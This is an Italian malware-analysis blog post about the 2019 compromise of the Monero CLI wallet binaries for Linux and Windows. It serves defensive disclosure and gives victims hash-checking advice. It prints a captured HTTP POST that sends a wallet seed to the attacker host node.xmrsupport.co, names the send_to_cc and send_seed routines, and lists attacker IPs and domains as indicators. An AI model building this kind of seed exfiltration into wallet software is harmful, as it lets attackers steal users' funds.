Monero Windows e Linux CLI compromessi: L'analisi dei binari

Come menzionato nel post del blog getmonero.org, i binari della Command Line Interface (CLI) di Monero sono stati recentemente compromessi.

Per i lettori che non conoscono Monero, è una criptovaluta che mira a proteggere la privacy finanziaria dei suoi utenti. Si basa su tecnologie ben note come le firme ad anello e le transazioni riservate; suggerisco di leggere Mastering Monero per capire meglio i suoi fondamenti.

Prima di iniziare la mia analisi post mortem, vorrei sottolineare che - al momento della scrittura - non ho idea di COME il server downloads.getmonero.org sia stato compromesso. Questo post sul blog sarà aggiornato una volta che gli ingegneri avranno finito di ispezionare la scatola.

All’inizio, nikitasius ha segnalato - tramite un problema Github un hash non corrispondente (SHA256: b99009d2e47989262c23f7277808f7bb0115075e7467061d54fd80c51a22e63d per l’archivio monero.tar.bz2) del monero.tar.bz2 per Linux. Questo file è un archivio compresso che contiene il client Monero Command Line usato per gestire il portafoglio e il demone. L’utente ha indagato di più e ha scoperto che solo monero-wallet-cli aveva un hash diverso dalla versione originale. Questo è stato poi riportato in un thread di Reddit, dove è stato riportato in Reddit thread dove sono stato pingato dalla maggior parte dei membri della comunità per fare luce sulla questione.

Una volta ottenuto il binario, ho immediatamente iniziato un’analisi. Ho deciso di optare per una più dinamica (cioè basata su dati “empirici”). Entrambi i metodi (analisi statica e dinamica) sono necessari per scavare più a fondo nel funzionamento di questi programmi. Avevo impostato la mia macchina Docker e ho provato ad eseguire ./monero-wallet-cli specificando il mio nodo remoto. Poi si è verificato un errore poiché la mia versione di GLIB_C non era aggiornata; questa è stata la mia prima bandiera rossa poiché tutti gli altri programmi Monero estratti dall’archivio dannoso hanno funzionato normalmente.

Come mostrato dal comando file, era collegato dinamicamente, e l’attaccante sconosciuto non ha eliminato le informazioni di debug. Siamo stati abbastanza fortunati, poiché la presenza di informazioni di debug ci rende molto più facile analizzare il binario. Confrontando le informazioni, abbiamo due probabili teorie: l’attaccante lascia le informazioni di debug perché non è esperto di C++ (e ha semplicemente controllato il repository), o perché voleva preservare le informazioni per avere meno bandiere rosse possibili.

monero-wallet-cli--bad: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1c58ece68c198390e539c636da4f9af36e877e7c, with debug_info, not stripped

Il binario dannoso è stato costruito sulla base di f07c326f13dc25efcfe6d680623c8cacb2dea2db commit sul tag “release-0.15.0”. Supponiamo quindi che gli attaccanti abbiano preparato il binario il 18 novembre 2019.

Analisi del binario per Linux

Una volta che abbiamo ottenuto il binario in esecuzione, possiamo iniziare a scavare in esso. La prima cosa strana che ho notato dopo aver eseguito il programma maligno è che chiedeva la password del portafoglio due volte; un portafoglio legittimo la chiede solo una volta. Alla fine di questo post, capiremo il motivo per cui questo accade.

Ho optato per l’analisi dinamica (al contrario dell’analisi statica condotta da MaxXor o da bartblaze) nel senso che, mentre il binario era in esecuzione, ho cercato di catturare tutti i dati che scorrevano da e verso il mio host. Questo è stato fatto utilizzando alcuni strumenti utili, come un demone Monero personalizzato per registrare tutte le connessioni, e tcpdump per “sniffare” i pacchetti.

La prima cosa che ho fatto è stato creare un nuovo portafoglio. Non ho notato nulla finché non ho esaminato il log prodotto dal programma mu TCPDUMP. Sono apparse alcune nuove connessioni, una delle quali era particolarmente interessante. Il mio nodo ha iniziato a comunicare con un altro host (il cui IP è 91.210.104.245) attraverso la porta 18081 (d’ora in poi indicato come MALICIOUS_IP). Ho pensato che fosse un altro nodo Monero (“cool!”), a meno che non mi sia ricordato che avevo avviato il client specificando il mio nodo locale. Nella mia rete il mio nodo ha un IP locale della forma 192.x.x.x.

Era abbastanza strano che gli attaccanti ricevessero i dati del portafoglio attraverso la porta 18081. La porta 18081 è comunemente usata per il demone Monero RPC API, quindi dovrebbe sembrare una connessione affidabile. Un utente potrebbe pensare “Sto usando il mio portafoglio Monero, quindi ovviamente il portafoglio deve contattare un nodo, soprattutto se non eseguo il demone Monero localmente”.

POST http/1.1
Content-Type: "application/x-www-form-urlencoded"
Host: node.xmrsupport.co

?seed=[REDACTED_HEX_SEED]

I pacchetti annusati con tcpdump hanno mostrato che il seme è stato inviato a MALICIOUS_IP. Questo è confermato dall’analisi statica; quando il portafoglio viene creato tramite la funzione cryptonote::simple_wallet::new_wallet, il client chiama la funzione cryptonote::simple_wallet::print_seed. Se esaminiamo la funzione cryptonote::simple_wallet::print_seed, troviamo due nuove funzioni che sono state introdotte nel binario maligno: cryptonote::simple_wallet::send_to_cc e cryptonote::simple_wallet::send_seed. Questi nomi sono interessanti; si riferiscono all’invio del “seme” (che codifica la chiave privata di invio di un portafoglio Monero) a un server C&C (server di comando e controllo noto come MALICIOUS_IP).

La funzione cryptonote::simple_wallet::print_seed viene chiamata tre volte: alla creazione di un nuovo portafoglio, all’apertura di un nuovo portafoglio e quando il comando “seed” viene digitato nell’interfaccia a riga di comando, il che significa che chiunque abbia aperto e creato un portafoglio tramite il programma maligno ha inviato le proprie chiavi private agli attaccanti.

Oltre a questo, abbiamo trovato anche un altro indirizzo IP 45.9.148.65 collegato al node.xmrsupport.co con certificato SSL per node.hashmonero.com. Alla fine abbiamo i dati dei due domini.

Domain name: xmrsupport.co
Registry Domain ID: D9E3AC179ACA44FE4B81F274517F8F47E-NSR
Registrar WHOIS Server: whois.opensrs.net
Registrar URL: www.opensrs.com
Updated Date: 2019-11-14T16:02:52Z
Creation Date: 2019-11-14T16:02:51Z

e

Domain Name: hashmonero.com
Registry Domain ID: 2455018003_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: http://www.namesilo.com
Updated Date: 2019-11-13T21:27:07Z
Creation Date: 2019-11-13T21:27:06Z
Registry Expiry Date: 2020-11-13T21:27:06Z

Se il tuo portafoglio è stato compromesso, le tue monete non sono l’unica cosa che è stata rubata; dobbiamo considerare cos’altro può fare l’attaccante usando il tuo seme. Poiché Monero utilizza indirizzi stealth, è impossibile per l’attaccante ricostruire gli indirizzi a cui hai inviato le tue transazioni (quindi questa informazione sarebbe al sicuro). Tuttavia, l’attaccante può identificare quanti XMR avevi nel tuo portafoglio, e tramite l’analisi del tempo collegato alle tue transazioni, potrebbe permettere all’attaccante di stimare il tuo fuso orario. Infine, l’attaccante sa quali ID di transazione sono associati al tuo portafoglio.

In conclusione, il seme è stato inviato ad un attaccante che è stato in grado di drenare XMR dai portafogli Monero. Come qualcuno ha osservato nel suo post sul blog, questo binario non sembra aprire alcuna porta dall’host. Quindi posso confermare che il programma maligno è principalmente un ladro di monete che mira a inviare la vostra chiave privata all’attaccante. Oltre a questo, vorrei segnare che la fuga del vostro seed può compromettere la vostra privacy finanziaria; come ho detto prima, tutte le transazioni ricevute e inviate saranno visibili agli attaccanti.

Analisi per i binari di Windows

Come per i binari Linux, ci siamo affidati principalmente all’analisi dinamica. Abbiamo scelto di utilizzare il servizio hybrid-analysis.com per avere una panoramica della situazione.

Posso confermare che anche i binari di Windows sono stati compromessi; abbiamo trovato nel binario le stesse funzioni maligne usate dalla versione Linux. Dato che il binario Linux è già stato discusso in un post pubblicato da bartblaze, lasciate che vi introduca all’analisi statica del binario Windows.

Qui iniziamo con objdump che è un programma utile che può dissemblare qualsiasi file binario (anche i file .exe costruiti per Windows NT). Una ricerca veloce usando la query “send_to_cc” conferma che l’attaccante ha usato la stessa fonte per costruire il binario di Windows.

_ZN10cryptonote13simple_wallet10send_to_ccENSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES6_i
_ZN10cryptonote13simple_wallet9send_seedERKN4epee15wipeable_stringE

È interessante notare che i risultati dell’analisi ibrida hanno trovato che la versione di Windows del malware ha alcuni accenni di comportamento dannoso aggiuntivo. Controlla la chiave di registro "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"per vedere se TSUSERENABLED è impostato su true. Essenzialmente sta controllando se il desktop remoto è abilitato. Questo è generalmente fatto quando un attaccante vuole diffondere il malware lateralmente attraverso una rete. Tuttavia, sembrerebbe che questa funzionalità sia stata abbandonata a causa di limiti di tempo (non sembrano esserci altri tentativi di utilizzare RDP).

OMG! Cosa posso fare?

Pensi che il tuo portafoglio possa essere stato compromesso? Per prima cosa, controlla se hai scaricato i binari maligni confrontando l’hash del tuo file con quello originale. È fortemente raccomandato a chiunque abbia scaricato il portafoglio CLI da questo sito web tra le 2:30 AM UTC e le 4:30 PM UTC di controllare gli hash dei propri binari. Se volete una guida più dettagliata, vi consiglio di leggere questa guida.

Se vi state chiedendo perché non ho pubblicato alcuna informazione pubblica prima che qualcuno scrivesse un post sul blog, eccolo qui. Ho provato con alcuni collaboratori della comunità a identificare l’aggressore analizzando i metadati delle transazioni, ma sfortunatamente non siamo stati in grado di riprodurre l’azione di furto dei semi; non abbiamo potuto identificare ulteriori informazioni sull’aggressore.

Dati aggiuntivi e IoC

• Il binario per Linux è stato costruito sulla base della versione 0.15 nella cartella /home/amp/BUILDS/monero;
• Il binario per Windows è stato costruito sulla base dello stesso sorgente usato per quello Linux;

monero-wallet-cli.exe:

• MD5: 72417ab40b8ed359a37b72ac8d399bd7.
• SHA-256: 963c1dfc86ff0e40cee176986ef9f2ce24fda53936c16f226c7387e1a3d67f74
• Tipo di file: monero-wallet-cli.exe: PE32+ eseguibile (console) x86-64, per MS Windows
• Dimensione del file: 65.14 MB (68302960 bytes)

monero-wallet-cli:

• MD5: d267be7efc3f2c4dde8e90b9b489ed2a.
• SHA-256: 7ab9afbc5f9a1df687558d570192fbfe9e085712657d2cfa5524f2c8caccca31
• Tipo di file: ELF
• Dimensione del file: 27.63 MB (28967688 bytes)

Dominio e IP interessati:

• IPv4 91.210.104.245.
• IPv4 45.9.148.65.
• dominio hashmonero.com.
• dominio xmrsupport.co.